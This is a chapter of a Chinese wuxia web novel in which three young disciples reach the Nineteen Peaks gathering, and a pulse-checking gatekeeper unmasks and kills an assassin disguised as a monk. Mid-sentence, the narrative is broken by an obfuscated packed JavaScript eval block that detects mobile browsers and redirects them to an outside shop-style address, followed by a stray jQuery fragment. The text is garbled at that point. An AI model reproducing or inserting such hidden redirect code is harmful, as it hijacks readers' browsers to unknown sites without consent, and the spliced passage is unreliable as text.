第一次踏出从小生活到大的天姥山时,万俟玉心中没有不舍,反而满是雀跃。
“师姐师姐,我们怎么去幽州?骑马吗?还是坐车?”
程灵背着行囊,回首望了一眼绵延不绝的天姥山,才转头对万俟玉说:“走着去。”
程奚和万俟玉二人异口同声地大喊:“——走着去?!”
“是。”
万俟玉一听要活生生走上三百多里地,第一个不乐意,嘴一瘪就要胡搅蛮缠。然而程灵根本不会惯着她,甚至连看都没看她一眼,已经率先踏上一条通往山下城镇的石子路,远远将二人抛在身后。
“唉,走吧走吧。”
程奚最清楚师妹说一不二的脾气,认命地跟了上去。万俟玉气得就地躺下打了两个滚,见没人理自己,荒郊野岭的也有些害怕,只能灰溜溜爬起来去追她师兄。
“师兄!”她气势汹汹大喊一声,三两步追上去,随即一跃而起,双手抱住程奚的脖颈,猴子似的挂到了他背上,“你背我!”
程奚猝不及防,差点被勒得背过气去,连忙托着万俟玉的腿往上一颠:“小玉,你要谋杀亲师兄啊。”
万俟玉赖在她师兄背上,腿是闲了,嘴却一刻不闲地在程奚耳边叭叭个不停。
“师兄,你说月下十九峰大不大?能不能放下我们这么多人?我会不会像你和师姐当年一样,遇见竹影断虹啊?”
“恐怕遇见花褪残红的可能性更大些。”
“师兄,你说如果竹影断虹也想要我当徒弟,我要不要答应?”
“绝无这种可能。”
“竹影断虹到底长什么样子啊?她为什么不用自己的真面目?她为什么那么讨厌肖大侠,我觉得肖大侠是个好人,我还想学他的无归刀法呢。”
“李青筠要是知道你脚踏两条船,非得吊着抽你一顿。”
“……”
三人赶了五天的路,终于由秦州向东北进入幽州境。幽州地势奇特,初秋时节已是寒气彻骨,穿过最后一片即将丰收的平原稻田,远处是一座拔地而起的山脉,最高处的山峰终年积雪,万俟玉数了数,不多不少,正是十九座。
她好奇地问道:“师姐,月下十九峰为什么要分成十九峰啊?”
程灵说:“十八般武艺,每峰各专一道,剩下一个是主峰。”
“那我们是要去主峰参加盟会?”程奚手搭凉棚远远一望,“想来就是最高的那一座了。”
三人行至山脚,发现早有络绎不绝的前人踏出了一条小径。她们自小就在山里长大,天姥山险峻不在十九峰之下,爬一座山也并非难事,途中还有不少同行人,说说笑笑,不到四个时辰就抵达了主峰。
这次来得早,盟会比武还未正式开始。月下飞天镜不愧是武林第一大门派,竟在主峰之上大摆流水席款待天下来客。
万俟玉一见有好吃的,如同脱缰野马一样扔下师姐师兄就要往里冲,却在入口处被两名灰衣青年伸手拦下。
“这位小友,请先接受盘查。”
程奚连忙跟上来,打圆场道:“她年纪还小,不懂规矩。请问两位前辈,往年盟会从不设限,这次为何多了盘查?”
其中一个女子嘴快道:“自然是为了防那群杀千刀的混进来。”
另一个男子替她进行官方解释:“师姑的意思是,月下飞天镜地界,不容花褪残红作乱。请伸出手来,师姑会为各位探脉。”
程奚还未开口,身后已有人出声质疑:“脉门是要紧之处,岂能由你们随意探查?”
灰衣女子将眉一竖,冷笑道:“怕我害你不成?就你那点功夫我还不屑于——”
“师姑的意思是,”灰衣男子连忙打断她,“请各位放心,我们没有冒犯之意,更不会行加害之举。探脉意在查验各位内力是否有异。若是不愿,各位可自行离开。”
万俟玉和程奚本就没有修炼过内力,灰衣女子一探,大概当二人是来凑热闹的普通人,随手一挥就放她们进去。待轮到程灵时,她却忽然奇怪地“咦”了一声。
程奚被她“咦”得心头一跳,生怕出什么问题,回头问道:“怎么了,前辈?”
“有意思。”女子重新探了探程灵的脉门,“你的经脉强壮有力,分明是个习武之人,且武功不低,却只一点奇怪——没有内力。”
程灵点点头,说:“是。”
“看你年纪,该有十七八了,为何不练内力?”
程灵说:“师傅没教。”
“我从前听过,武林中有人经脉不通,只能走体术一路,摒弃内力,专锻躯体。你师傅也是如此?”
程灵摇头:“不知。”
她答话向来是一戳一蹦跶,程奚看不下去了,出言解释道:“我们与师傅不常见面,她只教过我们刀法。不过师傅她看上去孱弱,实在不像练体术的人。”
“那是因为,”程灵顿了顿,低声说,“她受了重伤。”
程奚一愣,正想追问,忽然被人打断。
“——前面的能不能快点?怎么还聊上天了!”
“催什么?姑奶奶我就爱找人聊天!”灰衣女子骂道,“你爱等就等,不等就滚!”
“小师姑,慎言!”
同她一道的灰衣男子焦头烂额地劝完这边劝那边:“几位小友先请进吧。各位稍候,只是探脉,很快便好。”
女子“哼”了一声,摆摆手道:“罢了,你们进吧。”
万俟玉早就先程奚程灵一步,欢呼一声跑入了人山人海的流水席中。程奚一晃眼就找不见她的身影,正急得四处张望,灰衣女子遥遥一瞥,为他指了一个地方:“她去那里了。”
“多谢前辈。”程奚一抱拳,照她所指挤入人堆中,果然在那处发现了端着一盘桃酥啃的万俟玉。
他照万俟玉后脑勺一拍:“乱跑什么?信不信我喊你师姐揍你!”
程灵抱臂跟在后面,默默亮了亮腰侧的刀鞘。
万俟玉一缩脑袋,嚼着桃酥口齿不清地抱怨:“你就会威胁我!”
“我不管你,万一你被花褪残红抓走了也别找我哭。”
“那边都有人挨个检查过了,怕什么。”万俟玉伸手给她师兄嘴里也塞了块桃酥,“师兄你就安心吧,这儿可是月下十九峰,不会出问题的啦。”
“你就在我们周围一尺内的地方,不要随意走动,听见没?”
程奚叮嘱完,想起方才未问出口的话,拽了拽程灵的袖子:“师妹,你方才说,师傅身负重伤……是什么意思?”
“字面意思。”程灵说。
“我竟从来不知道。”程奚怔怔道,“师傅她受了什么伤?何时的伤?现在恢复得如何?”
程灵看了他一眼,摇头:“我也不知。师傅从来不与我们说这些,我只是偶然看到她呕血。”
程奚有些懊恼:“早知这样,我就是装也要装出好好练武的样子,少让师傅动怒。前几日临走时我还惹她生了一场气,真是该死。”
“回去之后,你尽可——”
话未说完,程灵耳尖一动,像是听到了什么动静,忽然将头一偏,紧盯着入口处。
“怎么了,师妹?”
程奚下意识顺着她的目光看去,见入口处那个灰衣女子正将手扣在一个慈眉善目的老和尚腕上。
“那是恒山悬空寺的苦行僧吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334314|199213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”程奚挠了挠头发,感慨道,“这么大年纪还要来参加盟会啊。”
谁知程灵忽然将手扶到腰侧刀柄,低声道:“那人不对。”
也不知探脉的灰衣女子有没有意识到什么。她面上看不出异样,反而露出一个微笑:“原来是悬空寺的秃驴。你们悬空寺不是与青鹤师兄有世仇吗?怎么舍得来了?”
“小师姑,你别这样说……”
灰衣女子难得听劝,耸耸肩,松开老和尚的手腕:“好吧,我不说了。来者是客,请吧。”
她说着,做了一个请的动作,侧身为老和尚让开通道。
就这么放进来了?!
程奚无措地看向程灵,见她警惕更甚,脊背微弓,已经是随时准备进攻的姿态。她死死盯着老和尚的一举一动,头也顾不上回地叮嘱:“师兄,看好小玉!”
他从来不会质疑程灵的判断,即使入口处负责探查的灰衣女子没什么特别反应。周围的人仍在热热闹闹宴饮,没人注意一个老态龙钟的和尚。
万俟玉没心没肺地问:“怎么啦师姐?”
程奚连忙一把将万俟玉捞到身前,捂住她不省心的嘴。
——就在这时,余光中忽有银光一闪而过!
程奚愕然抬头看去,恰好撞见刀锋从老和尚身后穿心而出的一幕。
随后,那柄长刀被灰衣女子毫不留情地抽出,老和尚双眼圆瞪,连遗言都来不及说就已经倒在地上,没了气息。
女子又在尸身的几处大穴连刺数剑,确定人死透了,这才随手将刀扔回她师侄的刀鞘之中,擦了擦掌心。
不少人都亲眼看到了这一幕,见月下十九峰的门生突然暴起杀人,顿时一片哗然!
“就、就算有仇,也不能当堂杀人吧……”
“连人都能想杀就杀,这月下十九峰还有没有王法?”
灰衣男子蹙起眉,俯身探了探老和尚的鼻息,回头道:“师姑,他是……”
见师姑点了点头,他才松了一口气,站起身朗声道:“各位稍安勿躁,此人是花褪残红的刺客。”
“花褪残红?!”
“这些人果然还是来了吗……”
然而有灰衣女子那番话在先,许多人反而将信将疑起来:“她说是便是吗?万一是公报私仇呢?”
“各位有所不知,花褪残红修炼内功的方式与我们这些寻常习武之人不同。我这位师姐之所以要探脉,正是为了分辨刺客,保障各位的安全。”
一个青城山道士打扮的中年人看向灰衣女子:“你这后生倒是说说,有何不同?有分辨刺客的法子却为何藏着掖着?”
“说不出来。”灰衣女子说,“人体脉络繁杂,修习内功又各不相同,失之毫厘差之千里,无法广而传之。”
“那岂不是你想杀谁,就能将谁指为刺客?”
女子唇角一弯,扯出一个笑容:“我想杀谁杀就是了,何必多此一举?”
“——小师姑的意思是,她不会行此假公济私之举。”灰衣男子十分心累地扶额,“花褪残红培养刺客以速为要,其内功会在几处大穴逆向流转,以此激发人体潜能,因此那些刺客大多短命、易走火入魔。月下十九峰并非有意藏私,只不过那内功异常之处微乎其微,除非亲自与花褪残红交过手,才有把握探明。”
道士一甩拂尘,面色不虞:“你当我们是傻的?但凡与花褪残红交过手的,坟头草都有三尺高了!哦对了,除了那个竹影断虹——”
他说着,忽然一顿。
竹影断虹?
他猛地抬头,恰好与灰衣女子似笑非笑的目光相撞。
“你就是……李青筠?!”